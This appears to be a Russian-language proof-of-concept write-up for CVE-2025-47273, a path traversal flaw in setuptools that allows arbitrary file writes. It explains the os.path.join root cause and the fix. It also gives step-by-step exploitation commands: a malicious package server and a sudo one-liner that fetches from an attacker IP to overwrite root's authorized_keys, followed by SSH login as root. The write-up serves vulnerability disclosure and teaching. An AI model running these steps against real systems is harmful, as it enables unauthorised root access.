
CVE-2025-47273 является уязвимостью обхода пути высокой степени серьезности в библиотеке setuptools ,в частности версии 78.1.0 .
Данное Proof of Concept (PoC) предназначено исключительно для образовательных целей и проведения авторизованных аудитов безопасности. Автор не несет ответственности за неправомерное использование данной информации. Несанкционированный доступ к компьютерным системам является незаконным и неэтичным.
CVE-2025-47273 — это уязвимость обхода пути (path traversal), обнаруженная в модуле package_index библиотеки setuptools (версия 78.1.0 и ранее). Уязвимость позволяет злоумышленнику выполнить произвольную запись файла, передав специально сформированный URL методу PackageIndex.download().
Проблема связана с частой ловушкой в функции os.path.join() языка Python. Согласно документации Python:
Если компонент является абсолютным путём, все предыдущие компоненты отбрасываются, и соединение продолжается с абсолютного пути.
В уязвимой версии setuptools имя целевого файла определяется путём извлечения имени из URL и объединения его с временной директорией:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
Если злоумышленник указывает URL, в котором часть с именем файла (после декодирования URL) начинается с косой черты /, то os.path.join отбрасывает префикс tmpdir и возвращает абсолютный путь, указанный в URL.
[ Подконтрольный злоумышленнику URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. Декодирование URL
v
[ Декодированное имя (name) ]
"/etc/passwd"
|
| 2. Вызов уязвимой функции
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Логика os.path.join в Python
v
[ Результирующий путь (filename) ]
"/etc/passwd" <-- /tmp/download_dir отбрасывается!
Поскольку путь назначения может быть заменён абсолютным путём, злоумышленник может записать произвольное содержимое в любое место файловой системы, куда у процесса есть права на запись.
setuptools, работает с повышенными привилегиями (например, системный установщик), злоумышленник может перезаписать критически важные системные файлы, такие как /etc/passwd, /root/.ssh/authorized_keys, /etc/shadow и многие другие...~/.bashrc, ~/.ssh/authorized_keys, или внедрение кода в существующие библиотеки Python может привести к постоянному удалённому выполнению кода./root/.ssh/authorized_keys)Уязвимость присутствует в setuptools версии 78.1.0.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
Скрипт server.py выступает в качестве вредоносного индекса пакетов. Он отдаёт файл полезной нагрузки независимо от запрашиваемого пути; в качестве нагрузки используется файл id_rsa.pub.
python3 server.py 80
Запустите запись файла с помощью этой команды, после чего вы сможете подключиться к root по SSH, используя созданную пару ключей.
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<IP_АТАКУЮЩЕГО>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<IP-цели>
Уязвимость была исправлена в версии setuptools 78.1.1. Исправление включает строгую санитизацию переменной name, полученной из URL, чтобы гарантировать, что она не содержит ведущих косых черт или букв дисков перед передачей в os.path.join().
Чтобы защитить своё окружение:
pip install --upgrade setuptools